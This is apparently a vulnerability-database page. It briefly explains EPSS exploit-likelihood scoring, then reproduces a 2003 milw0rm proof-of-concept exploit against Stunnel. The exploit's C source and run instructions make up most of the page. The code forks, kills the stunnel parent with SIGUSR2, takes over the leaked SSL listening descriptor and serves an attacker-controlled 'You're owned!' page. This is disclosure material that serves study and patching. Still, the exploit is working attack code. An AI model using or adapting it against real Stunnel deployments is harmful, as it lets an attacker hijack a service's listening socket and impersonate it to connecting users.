EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* By Steve Grubb : The technique is simple. * * 1) Fork so that stunnel can't find you when it dies. * 2) Send stunnel a SIGUSR2. Unhandled signals generally * kill programs. Since you are a child of stunnel, the OS * will deliver the signal. * 3) Select on the leaked descriptor and start serving pages. * * At the end of this advisory is a proof-of-concept * program that you can run under Stunnel. It is assumed * that Stunnel is providing you shell-like access (Telnet * over SSL, for example), or that the program lauched via * Stunnel has some exploitable condition that allows you * to run arbitrary code. * * To run the POC code, you can execute it directly as the * local program (-l argument) for Stunnel : * * /usr/sbin/stunnel -s nobody -g nobody -D 7 -p * /etc/ssl/certs/stunnel.pem -o /tmp/stunnel.log -P * /tmp/stunnel.pid -d 2222 -l * /opt/stunnel-sploit/leak-sploit -- leak-sploit * * Then connect to stunnel like: lynx https://localhost:2222 * * The first time, you will get a message saying * "Unexpected network read error" followed by "Document * can't be accessed". Then connect again. The second * time, you will see the "You're owned" message. Doing a * ps -ef shows that stunnel is long gone and replaced by * the example application...even though user & group were * nobody. Sure its a bit contrived, but illustrates the concept. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <errno.h> #include <sys/select.h> #include <netinet/in.h> #include <openssl/ssl.h> /* * The basic scheme goes like this: * 1) Get rid of the parent * 2) init the openssl library * 3) start handling requests */ /* You may need to adjust these next 3 items */ #define LISTEN_DESCRIPTOR 6 #define CERTF "/opt/stunnel-sploit/foo-cert.pem" #define KEYF "/opt/stunnel-sploit/foo-cert.pem" static SSL_CTX *ctx; static SSL *ssl; static X509 *client_cert; static SSL_METHOD *meth; static void server_loop(int descr); static void ssl_init(void); int main(int argc, char *argv[]) { int pid = getppid(); /* Need to fork so stunnel doesn't kill us */ if (fork() == 0) { /* Become session leader */ setsid(); /* Goodbye - thanks for the descriptor */ kill(pid, SIGUSR2); close(0); close(1); close(2); ssl_init(); server_loop(LISTEN_DESCRIPTOR); } return 0; } static void server_loop(int descr) { struct timeval tv; fd_set read_mask ; FD_SET(descr, &read_mask); for (;;) { struct sockaddr_in remote; socklen_t len = sizeof(remote); int fd; if (select(descr+1, &read_mask, NULL, NULL, 0 ) == -1) continue; fd = accept(descr, &remote, &len); if (fd >=0) { char obuf[4096]; if ((ssl = SSL_new (ctx)) != NULL) { SSL_set_fd (ssl, fd); SSL_set_accept_state(ssl); if ((SSL_accept (ssl)) == -1) exit(1); strcpy(obuf, "HTTP/1.0 200 OK\n"); strcat(obuf, "Content-Length: 40\n"); strcat(obuf, "Content-Type: text/html\n\n"); strcat(obuf, "<html><body>You're owned!</body></html>"); SSL_write (ssl, obuf, strlen(obuf)); SSL_set_shutdown(ssl, SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN); SSL_free (ssl); ERR_remove_state(0); } close(fd); } } SSL_CTX_free (ctx); /* Never gets called */ } static void ssl_init(void) { SSL_load_error_strings(); SSLeay_add_ssl_algorithms(); meth = SSLv23_server_method(); ctx = SSL_CTX_new (meth); if (!ctx) exit(1); if (SSL_CTX_use_certificate_file(ctx, CERTF, SSL_FILETYPE_PEM) <= 0) exit(1); if (SSL_CTX_use_PrivateKey_file(ctx, KEYF, SSL_FILETYPE_PEM) <= 0) exit(1); if (!SSL_CTX_check_private_key(ctx)) exit(1); } // milw0rm.com [2003-09-05]
